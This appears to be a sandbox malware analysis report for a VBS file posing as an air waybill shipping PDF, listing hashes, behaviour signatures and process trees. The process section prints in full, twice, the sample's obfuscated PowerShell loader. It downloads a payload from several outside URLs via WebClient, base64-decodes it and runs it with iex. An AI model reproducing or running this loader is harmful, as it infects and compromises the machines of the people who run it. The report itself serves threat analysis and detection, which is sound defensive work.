Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    93s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 11:15

General

  • Target

    Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs

  • Size

    102KB

  • MD5

    7830b84566e2614c62d98026bff38786

  • SHA1

    bf275fe87ba08ef95283293728ddcedd8a5a38b2

  • SHA256

    e1bcd4fae5185f9d9e377759ed4500755c065a9db7f55f0589ba10b1ea9d330b

  • SHA512

    dd95218ce35833e06bfe51136642975761c649d16f53bd1d55f3371866b61b57e41d3a4986379581f7b6ce4ff36db2e66139d1845e48a6f323d8def13d031bbb

  • SSDEEP

    3072:+4oGKaBSPReHzR0WAjT28fyxa+CS64B9Ou4rIQCtvF:/t7SPReHd0WoT28faa+CS64mu8IQCtvF

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked';If (${host}.CurrentCulture) {$Hvidsm++;}Function Forsideartiklen($Sportslige){$Tistykpakkens21=$Sportslige.Length-$Hvidsm;$Emerituses='SUBsTR';$Emerituses+='ing';For( $Hyperuricemia=1;$Hyperuricemia -lt $Tistykpakkens21;$Hyperuricemia+=2){$Zymology+=$Sportslige.$Emerituses.Invoke( $Hyperuricemia, $Hvidsm);}$Zymology;}function Hermeneutically7($Microsomial){ . ($Leegatioen) ($Microsomial);}$fastprisordningernes=Forsideartiklen ' Mso,zeiBlPl aA/ 5A.,0M .(MWTiAnVdAoSwPsI RN TS L1U0 . 0 ; TW iDnB6 4 ;R .x.6V4.; Ar vS:S1 2U1 . 0 )U GHe c.kto./N2B0L1.0.0 1F0,1S NF,i r ePfCoFx,/.1 2 1P.C0Z ';$brdbilles=Forsideartiklen ' U sEeurP- ATgBeAn t. ';$Regularising=Forsideartiklen 'Ch,t t.pBsC:I/ /.n bB.Gf.u,hSnM8R. sPa . c o mS/ .tl l /BH v,a,l,p e sF.Tj.p b,> h tUt pCsN:P/./ fRiAr s.t 4Fl occSkLsGm iSt,h,s . c oM.Ku kd/SH,v,aFlCp,eUsT. j p,b >FhBtrt p sD:K/M/ m oCv i eUsFmBaSc kStSa l km. c.oPm,/.HCv.aLlRp eFsF.BjSp,bs ';$Repracticing=Forsideartiklen 'T>. ';$Leegatioen=Forsideartiklen 'Si e,x. ';$Ecca='Skalaernes';$calvados = Forsideartiklen ' eDc h o %iaEpFpFd a t.a.%C\IPRr iImSaHdPoTnPnWaBe r.n,e s..FTSr,i, t& &I e c h o t ';Hermeneutically7 (Forsideartiklen 'H$mgSlFoVbSa la:UI nEdDeBkLsFfDehjNlGe nSe =R( cSmDdG ./.cF $RcRaKlHvuaFdHoBs )T ');Hermeneutically7 (Forsideartiklen ',$ g.lUoKb,aSl.: SFkHa fP=.$.R e.g u lBaSrCiBsLi n gh.MsKp l i.t (K$GRhe p.r aKcEtSiTcPiDnDgB), ');Hermeneutically7 (Forsideartiklen ' [AN est ..S eTr vSiScTe P o iSn tSMiaPn.aEgHeBrb] :M: SAeec,uMr iKt.y PBrsoPtBosc,o,lK R=x .[,NAe,t .US ePcSu r iStUyTP,r oStto c oKl TdyPpRea]R: :.T l sF1M2. ');$Regularising=$Skaf[0];$Tinderbox= (Forsideartiklen 'A$.gNlIo bEaBl : N,eAg l iWgjeLe sD=.NUe w -SOGb jReMc,t S.y s t,e mT.LN,e.t,.UW eNb,CAl.i eMnCt');$Tinderbox+=$Indeksfejlene[1];Hermeneutically7 ($Tinderbox);Hermeneutically7 (Forsideartiklen 'L$FN e.g,lSi g e.e sQ. H.e a,d e,rBs.[u$,b,red bCiBl.l e s ] =U$ f aFs t p r.ius oNr dSn i nCg e r nPePsF ');$Ozokerit=Forsideartiklen ' $,Nbe,gTlJi g epeSs,. D.oMwKnFlNo,a dDF i l,eA(E$MRPe gPu lCa r,i sWiGn.g ,,$.E,lFe.uHtDh ePr i o.sB) ';$Eleutherios=$Indeksfejlene[0];Hermeneutically7 (Forsideartiklen '.$PgUl oSb aMlT: FOiBm.r e,c e l.l e,s 1 7 4D= (BT,eVsGtM-.PIaHt hB .$ ESl eSu t,hTeGrIi o sS)S ');while (!$Fimrecelles174) {Hermeneutically7 (Forsideartiklen 'D$Bg lLoAb aFlT: FNo r u dSs iRg.eOlSs e n s =P$Lt r u e. ') ;Hermeneutically7 $Ozokerit;Hermeneutically7 (Forsideartiklen 'OS.t,a rut -RSRl.eUe p C4 ');Hermeneutically7 (Forsideartiklen '.$IgNl o bDaPl : FUiFmEr eMc,eVl l eas,1b7P4E=R(OTSe.s tT-.PTa,tFhL S$KE.l e u.t,h e rkiToMs ) ') ;Hermeneutically7 (Forsideartiklen 'A$ gOlAo.b.a.lE:RFTdAsFeUl sBa a.r e,t,= $.g lToObPa lA: DSe.sMmMoSghe n +F+,%S$.SSk,aAfP.RcBoFuBnBtF ') ;$Regularising=$Skaf[$Fdselsaaret];}$Chronographs233=374185;$Somewhats13=25127;Hermeneutically7 (Forsideartiklen 'E$ g.l o bGa l :,pSr o n eMl.y K=C .GKe,tH-SCFo nPtTe nSt D$DESlVe.uVtVhPeNrNi o s ');Hermeneutically7 (Forsideartiklen 'E$SgEl oEb a,l :PR e.t sFgVrHu,nLd s tRn.iUnTg eGn.sK .=W [,S.yRs tSe mA..CNo n vLe r.t,] :D:GF r o,m,B.aasse 6,4 S.tDrCiBnNgP(T$Vp rVo nLe lsy )E ');Hermeneutically7 (Forsideartiklen ',$ gnl,o bia l : STpSeBj l r e fGl eSkds.k aSmFe r a s. .=. K[BS y.s t.e mA.LT eFxKtT..E.nOc ogd.i,nCgF],:,:MA SBC.IFI .BGEeNtSS t r iHn g.(.$RRSe,t s.g r uInkdGsWtRn i n gAePnVs )N ');Hermeneutically7 (Forsideartiklen 'B$ gOlDoAb a lD: CUrVo,o k e,r iFe,s =B$RS.p eSjPlBr e.fHl eKk,s k aLmme r aSsA. s uSb sTt.rSi n,gR( $ CRhFr,oMn oBg.rKaOpBhOs 2 3A3S,C$ SDo m.eMw hFaCttsU1.3F)s ');Hermeneutically7 $Crookeries;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Primadonnaernes.Tri && echo t"
        3⤵
          PID:4320
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked';If (${host}.CurrentCulture) {$Hvidsm++;}Function Forsideartiklen($Sportslige){$Tistykpakkens21=$Sportslige.Length-$Hvidsm;$Emerituses='SUBsTR';$Emerituses+='ing';For( $Hyperuricemia=1;$Hyperuricemia -lt $Tistykpakkens21;$Hyperuricemia+=2){$Zymology+=$Sportslige.$Emerituses.Invoke( $Hyperuricemia, $Hvidsm);}$Zymology;}function Hermeneutically7($Microsomial){ . ($Leegatioen) ($Microsomial);}$fastprisordningernes=Forsideartiklen ' Mso,zeiBlPl aA/ 5A.,0M .(MWTiAnVdAoSwPsI RN TS L1U0 . 0 ; TW iDnB6 4 ;R .x.6V4.; Ar vS:S1 2U1 . 0 )U GHe c.kto./N2B0L1.0.0 1F0,1S NF,i r ePfCoFx,/.1 2 1P.C0Z ';$brdbilles=Forsideartiklen ' U sEeurP- ATgBeAn t. ';$Regularising=Forsideartiklen 'Ch,t t.pBsC:I/ /.n bB.Gf.u,hSnM8R. sPa . c o mS/ .tl l /BH v,a,l,p e sF.Tj.p b,> h tUt pCsN:P/./ fRiAr s.t 4Fl occSkLsGm iSt,h,s . c oM.Ku kd/SH,v,aFlCp,eUsT. j p,b >FhBtrt p sD:K/M/ m oCv i eUsFmBaSc kStSa l km. c.oPm,/.HCv.aLlRp eFsF.BjSp,bs ';$Repracticing=Forsideartiklen 'T>. ';$Leegatioen=Forsideartiklen 'Si e,x. ';$Ecca='Skalaernes';$calvados = Forsideartiklen ' eDc h o %iaEpFpFd a t.a.%C\IPRr iImSaHdPoTnPnWaBe r.n,e s..FTSr,i, t& &I e c h o t ';Hermeneutically7 (Forsideartiklen 'H$mgSlFoVbSa la:UI nEdDeBkLsFfDehjNlGe nSe =R( cSmDdG ./.cF $RcRaKlHvuaFdHoBs )T ');Hermeneutically7 (Forsideartiklen ',$ g.lUoKb,aSl.: SFkHa fP=.$.R e.g u lBaSrCiBsLi n gh.MsKp l i.t (K$GRhe p.r aKcEtSiTcPiDnDgB), ');Hermeneutically7 (Forsideartiklen ' [AN est ..S eTr vSiScTe P o iSn tSMiaPn.aEgHeBrb] :M: SAeec,uMr iKt.y PBrsoPtBosc,o,lK R=x .[,NAe,t .US ePcSu r iStUyTP,r oStto c oKl TdyPpRea]R: :.T l sF1M2. ');$Regularising=$Skaf[0];$Tinderbox= (Forsideartiklen 'A$.gNlIo bEaBl : N,eAg l iWgjeLe sD=.NUe w -SOGb jReMc,t S.y s t,e mT.LN,e.t,.UW eNb,CAl.i eMnCt');$Tinderbox+=$Indeksfejlene[1];Hermeneutically7 ($Tinderbox);Hermeneutically7 (Forsideartiklen 'L$FN e.g,lSi g e.e sQ. H.e a,d e,rBs.[u$,b,red bCiBl.l e s ] =U$ f aFs t p r.ius oNr dSn i nCg e r nPePsF ');$Ozokerit=Forsideartiklen ' $,Nbe,gTlJi g epeSs,. D.oMwKnFlNo,a dDF i l,eA(E$MRPe gPu lCa r,i sWiGn.g ,,$.E,lFe.uHtDh ePr i o.sB) ';$Eleutherios=$Indeksfejlene[0];Hermeneutically7 (Forsideartiklen '.$PgUl oSb aMlT: FOiBm.r e,c e l.l e,s 1 7 4D= (BT,eVsGtM-.PIaHt hB .$ ESl eSu t,hTeGrIi o sS)S ');while (!$Fimrecelles174) {Hermeneutically7 (Forsideartiklen 'D$Bg lLoAb aFlT: FNo r u dSs iRg.eOlSs e n s =P$Lt r u e. ') ;Hermeneutically7 $Ozokerit;Hermeneutically7 (Forsideartiklen 'OS.t,a rut -RSRl.eUe p C4 ');Hermeneutically7 (Forsideartiklen '.$IgNl o bDaPl : FUiFmEr eMc,eVl l eas,1b7P4E=R(OTSe.s tT-.PTa,tFhL S$KE.l e u.t,h e rkiToMs ) ') ;Hermeneutically7 (Forsideartiklen 'A$ gOlAo.b.a.lE:RFTdAsFeUl sBa a.r e,t,= $.g lToObPa lA: DSe.sMmMoSghe n +F+,%S$.SSk,aAfP.RcBoFuBnBtF ') ;$Regularising=$Skaf[$Fdselsaaret];}$Chronographs233=374185;$Somewhats13=25127;Hermeneutically7 (Forsideartiklen 'E$ g.l o bGa l :,pSr o n eMl.y K=C .GKe,tH-SCFo nPtTe nSt D$DESlVe.uVtVhPeNrNi o s ');Hermeneutically7 (Forsideartiklen 'E$SgEl oEb a,l :PR e.t sFgVrHu,nLd s tRn.iUnTg eGn.sK .=W [,S.yRs tSe mA..CNo n vLe r.t,] :D:GF r o,m,B.aasse 6,4 S.tDrCiBnNgP(T$Vp rVo nLe lsy )E ');Hermeneutically7 (Forsideartiklen ',$ gnl,o bia l : STpSeBj l r e fGl eSkds.k aSmFe r a s. .=. K[BS y.s t.e mA.LT eFxKtT..E.nOc ogd.i,nCgF],:,:MA SBC.IFI .BGEeNtSS t r iHn g.(.$RRSe,t s.g r uInkdGsWtRn i n gAePnVs )N ');Hermeneutically7 (Forsideartiklen 'B$ gOlDoAb a lD: CUrVo,o k e,r iFe,s =B$RS.p eSjPlBr e.fHl eKk,s k aLmme r aSsA. s uSb sTt.rSi n,gR( $ CRhFr,oMn oBg.rKaOpBhOs 2 3A3S,C$ SDo m.eMw hFaCttsU1.3F)s ');Hermeneutically7 $Crookeries;"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:636
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Primadonnaernes.Tri && echo t"
            4⤵
              PID:4616

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3t50ko4.kq2.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Primadonnaernes.Tri

        Filesize

        519KB

        MD5

        aaa51108207338e063b6f752b4585df7

        SHA1

        e95bcda7fb3e03b23d44ba666e823c81485cd166

        SHA256

        a66b9ea1c5e89eb2fc5c573b9a4953280769b8b3c4e3172e3910154032f8f801

        SHA512

        03614c9247e086c57c69542ac185cfe1eeef66a7d63eb4572f1974dd6375ab77e0a545cf8f98ef3f0c1fcc347ea3a0a4f1590f69b5215300ed6980b290a9aa65

      • memory/636-31-0x0000000005B30000-0x0000000005E84000-memory.dmp

        Filesize

        3.3MB

      • memory/636-32-0x00000000061D0000-0x00000000061EE000-memory.dmp

        Filesize

        120KB

      • memory/636-40-0x0000000008A20000-0x0000000009CC2000-memory.dmp

        Filesize

        18.6MB

      • memory/636-17-0x0000000004B90000-0x0000000004BC6000-memory.dmp

        Filesize

        216KB

      • memory/636-18-0x0000000005240000-0x0000000005868000-memory.dmp

        Filesize

        6.2MB

      • memory/636-19-0x00000000058B0000-0x00000000058D2000-memory.dmp

        Filesize

        136KB

      • memory/636-20-0x0000000005950000-0x00000000059B6000-memory.dmp

        Filesize

        408KB

      • memory/636-21-0x00000000059C0000-0x0000000005A26000-memory.dmp

        Filesize

        408KB

      • memory/636-38-0x0000000008470000-0x0000000008A14000-memory.dmp

        Filesize

        5.6MB

      • memory/636-37-0x0000000007430000-0x0000000007452000-memory.dmp

        Filesize

        136KB

      • memory/636-33-0x0000000006210000-0x000000000625C000-memory.dmp

        Filesize

        304KB

      • memory/636-34-0x0000000007840000-0x0000000007EBA000-memory.dmp

        Filesize

        6.5MB

      • memory/636-35-0x0000000006770000-0x000000000678A000-memory.dmp

        Filesize

        104KB

      • memory/636-36-0x00000000074A0000-0x0000000007536000-memory.dmp

        Filesize

        600KB

      • memory/2060-13-0x00007FFD44320000-0x00007FFD44DE1000-memory.dmp

        Filesize

        10.8MB

      • memory/2060-2-0x00007FFD44323000-0x00007FFD44325000-memory.dmp

        Filesize

        8KB

      • memory/2060-8-0x0000013717320000-0x0000013717342000-memory.dmp

        Filesize

        136KB

      • memory/2060-14-0x00007FFD44320000-0x00007FFD44DE1000-memory.dmp

        Filesize

        10.8MB

      • memory/2060-41-0x00007FFD44323000-0x00007FFD44325000-memory.dmp

        Filesize

        8KB

      • memory/2060-42-0x00007FFD44320000-0x00007FFD44DE1000-memory.dmp

        Filesize

        10.8MB